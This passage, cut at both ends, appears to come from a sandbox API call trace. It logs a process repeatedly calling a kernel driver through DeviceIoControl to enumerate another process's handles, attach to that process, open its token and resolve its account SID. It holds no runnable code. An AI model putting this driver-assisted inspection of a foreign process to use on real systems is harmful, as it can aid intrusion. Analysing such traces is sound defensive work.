Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.702] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.702] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.702] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.702] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x688) returned 0xc0 [0095.702] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.702] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800252f250, HandleInformation=0x0) returned 0x0 [0095.702] ObOpenObjectByPointer (in: Object=0xfffffa800252f250, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.702] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x45 [0095.702] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.702] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.702] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.702] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.702] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.704] CloseHandle (hObject=0xc8) returned 1 [0095.704] CloseHandle (hObject=0xc0) returned 1 [0095.704] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.704] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.704] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.704] PsAcquireProcessExitSynchronization () returned 0x0 [0095.704] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.704] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025708c0, HandleInformation=0x0) returned 0x0 [0095.704] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.704] PsReleaseProcessExitSynchronization () returned 0x2 [0095.704] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.704] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.704] ObfDereferenceObject (Object=0xfffffa80025708c0) returned 0x1 [0095.704] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.704] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.704] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.704] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.704] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.704] PsAcquireProcessExitSynchronization () returned 0x0 [0095.704] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.705] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025a1a70, HandleInformation=0x0) returned 0x0 [0095.705] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.705] PsReleaseProcessExitSynchronization () returned 0x2 [0095.705] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.705] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.705] ObfDereferenceObject (Object=0xfffffa80025a1a70) returned 0x1 [0095.705] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.705] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.705] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.705] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.705] PsAcquireProcessExitSynchronization () returned 0x0 [0095.705] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.705] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002593640, HandleInformation=0x0) returned 0x0 [0095.705] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.705] PsReleaseProcessExitSynchronization () returned 0x2 [0095.705] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.705] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.705] ObfDereferenceObject (Object=0xfffffa8002593640) returned 0x1 [0095.705] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.705] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.705] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.705] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.705] PsAcquireProcessExitSynchronization () returned 0x0 [0095.705] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.705] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.705] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.705] PsReleaseProcessExitSynchronization () returned 0x2 [0095.705] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.705] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.705] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.705] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.705] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.705] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0095.706] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.706] PsAcquireProcessExitSynchronization () returned 0x0 [0095.706] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.706] ObReferenceObjectByHandle (in: Handle=0x98, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024da740, HandleInformation=0x0) returned 0x0 [0095.706] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.706] PsReleaseProcessExitSynchronization () returned 0x2 [0095.706] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.706] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.706] ObfDereferenceObject (Object=0xfffffa80024da740) returned 0x11 [0095.706] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.706] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.706] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.706] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.706] PsAcquireProcessExitSynchronization () returned 0x0 [0095.706] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.706] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00278b5e0, HandleInformation=0x0) returned 0x0 [0095.706] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.706] PsReleaseProcessExitSynchronization () returned 0x2 [0095.706] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.706] ObQueryNameString (in: Object=0xfffff8a00278b5e0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.706] ObfDereferenceObject (Object=0xfffff8a00278b5e0) returned 0x1 [0095.706] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.706] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.706] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.706] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.706] PsAcquireProcessExitSynchronization () returned 0x0 [0095.706] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.706] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.706] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.707] PsReleaseProcessExitSynchronization () returned 0x2 [0095.707] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.707] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.707] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.707] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.707] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.707] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.707] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.707] PsAcquireProcessExitSynchronization () returned 0x0 [0095.707] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.707] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.707] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.707] PsReleaseProcessExitSynchronization () returned 0x2 [0095.707] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.707] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.707] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.707] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.707] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.707] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.707] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.707] PsAcquireProcessExitSynchronization () returned 0x0 [0095.707] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.707] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a003554060, HandleInformation=0x0) returned 0x0 [0095.707] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.707] PsReleaseProcessExitSynchronization () returned 0x2 [0095.707] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.707] ObQueryNameString (in: Object=0xfffff8a003554060, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.707] ObfDereferenceObject (Object=0xfffff8a003554060) returned 0x1 [0095.707] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.707] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.707] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0095.708] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.708] PsAcquireProcessExitSynchronization () returned 0x0 [0095.708] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.708] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035fd4e0, HandleInformation=0x0) returned 0x0 [0095.708] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.708] PsReleaseProcessExitSynchronization () returned 0x2 [0095.708] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.708] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.708] ObfDereferenceObject (Object=0xfffffa80035fd4e0) returned 0x1 [0095.708] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.708] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.708] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.708] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.708] PsAcquireProcessExitSynchronization () returned 0x0 [0095.708] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.708] ObReferenceObjectByHandle (in: Handle=0x188, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.708] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.708] PsReleaseProcessExitSynchronization () returned 0x2 [0095.708] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.708] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.708] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.708] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.708] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.708] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0095.708] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.708] PsAcquireProcessExitSynchronization () returned 0x0 [0095.708] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.708] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800396cf20, HandleInformation=0x0) returned 0x0 [0095.708] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.709] PsReleaseProcessExitSynchronization () returned 0x2 [0095.709] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.709] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.709] ObfDereferenceObject (Object=0xfffffa800396cf20) returned 0x12 [0095.709] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.709] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.709] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.709] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.709] PsAcquireProcessExitSynchronization () returned 0x0 [0095.709] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.709] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f1bfc0, HandleInformation=0x0) returned 0x0 [0095.709] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.709] PsReleaseProcessExitSynchronization () returned 0x2 [0095.709] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.709] ObQueryNameString (in: Object=0xfffff8a001f1bfc0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.709] ObfDereferenceObject (Object=0xfffff8a001f1bfc0) returned 0x1 [0095.709] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.709] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.709] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x10e, lpOverlapped=0x0) returned 1 [0095.709] PsLookupProcessByProcessId (in: ProcessId=0x688, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.709] PsAcquireProcessExitSynchronization () returned 0x0 [0095.709] KeStackAttachProcess (in: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800252f250, ApcState=0xfffff880052335d0) [0095.709] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80035112d0, HandleInformation=0x0) returned 0x0 [0095.709] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.709] PsReleaseProcessExitSynchronization () returned 0x2 [0095.709] ObfDereferenceObject (Object=0xfffffa800252f250) returned 0x43 [0095.709] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.709] ObfDereferenceObject (Object=0xfffffa80035112d0) returned 0x1 [0095.709] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.709] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.710] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, 